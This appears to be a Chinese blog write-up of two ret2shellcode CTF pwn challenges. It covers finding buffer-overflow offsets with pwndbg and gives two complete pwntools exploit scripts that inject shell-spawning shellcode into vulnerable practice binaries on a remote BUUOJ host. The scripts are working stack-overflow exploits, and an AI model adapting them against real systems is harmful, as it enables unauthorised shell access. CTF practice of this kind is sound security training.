当前位置: 首页 > java >正文

[第十五章][15.3.2 shellcode注入攻击]ret2shellcode+[NewStarCTF 公开赛赛道]ret2shellcode

1、[NewStarCTF 公开赛赛道]ret2shellcode

IDA 反编译看伪代码:

buf = mmap((void *)0x233000, 0x1000uLL, 7, 34, -1, 0LL);

这里直接给了 buf 7 的权限,即可读可写可执行,那么 shellcode 肯定写到 buf 里

buf 的映射地址:0x233000

下面的 v4 存在溢出,那么利用思路就很明显

覆盖返回地址到 buf 地址就可以了

先拿 pwndbg 判断一下偏移:

cyclic 200

我们利用的溢出点在 v4,是第二次的 read,所以第一次随便输,第二次输入测偏移。

aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

拿到返回的报错地址:0x6161616161616168 

查一下偏移:

cyclic -l 0x6161616161616168

到返回地址的偏移是 56

接下来就可以直接写 exp 了:

# @author:My6n
# @time:20250430
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('node5.buuoj.cn',26272)
shellcode = asm(shellcraft.sh())
offset = 56
io.sendline(shellcode)
io.recvuntil('Anything else?\n')
buf_addr = 0x233000
payload = cyclic(offset) + p64(buf_addr)
io.sendline(payload)
io.interactive()

调试信息: 

拿到 flag:flag{8aeab6ad-2924-49cd-a4ca-a8de7ec8c684} 

2、[第十五章][15.3.2 shellcode注入攻击]ret2shellcode

看一下伪代码:

程序会直接输出 v4 的地址,我们将 shellcode 写到 v4,然后溢出返回到 v4 的地址即可

利用思路也很简单,我们测一下偏移:

偏移是 104,再提取一下 v4 的地址就可以了

编写 exp:

# @author:My6n
# @time:20250430
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('node5.buuoj.cn',29764)
offset = 104
shellcode = asm(shellcraft.sh())
io.recvuntil('advance ')
ret_addr = io.recvline()[:14]
print(ret_addr)
ret_addr = int(ret_addr,16)
print(ret_addr)
payload = shellcode.ljust(offset,b'A') + p64(ret_addr)
io.recvuntil('write last things:\n')
io.sendline(payload)
io.interactive()

调试信息: 

拿 flag

flag{711ede95-7327-47f9-b714-f3ff81763509}

http://www.xdnf.cn/news/3289.html

相关文章:

  • LiP-MS与TPP联用:千金藤素在高尿酸血症中的抗神经炎症作用
  • 玩转Nginx
  • 极狐GitLab 分支管理功能介绍
  • ALLEGRO怎么外扩或内缩铜皮shape?
  • 美国国家生物技术信息中心NCBI介绍
  • 信号完整性简介第二篇
  • 2025A卷-传递悄悄话
  • 01_K近邻
  • Java 集合框架优化:从基础到高级应用
  • YPay标准版系统-五彩绚丽首页主题V1.0.0
  • 2025大模型应用爆发,算力保障成关键
  • 实用Chrome插件备忘
  • 科研 | 光子技术为人工智能注入新动力
  • PCB设计工艺规范(三)走线要求
  • 第15篇:Linux设备驱动程序入门<二>
  • QuecPython+aLiYun:快速连接阿里云IoT平台
  • C语言写文件模式错误
  • 制作一款打飞机游戏35:生成系统
  • 字符串模式匹配之KMP算法的理解和应用
  • 泛微OA.E9--07--IDEA搭建后端二开环境
  • 学习笔记:Qlib 量化投资平台框架 — MAIN COMPONENTS Part Ⅲ
  • 一文读懂EMC存储的Fast cache(第一部分:基本概念)
  • 使用gitea发布软件包
  • 学习路之windows --设置定时任务:每1个小时桌面弹个提示 “起身活动一下”
  • 目标检测YOLO实战应用案例100讲-基于多级特征融合的小目标深度检测网络
  • SpringClode
  • JavaScript加密库crypto-js
  • Redis集群搭建(哨兵模式+一主两从)
  • 蓝桥杯Python(B)省赛回忆
  • HTTP 503(Service Unavailable)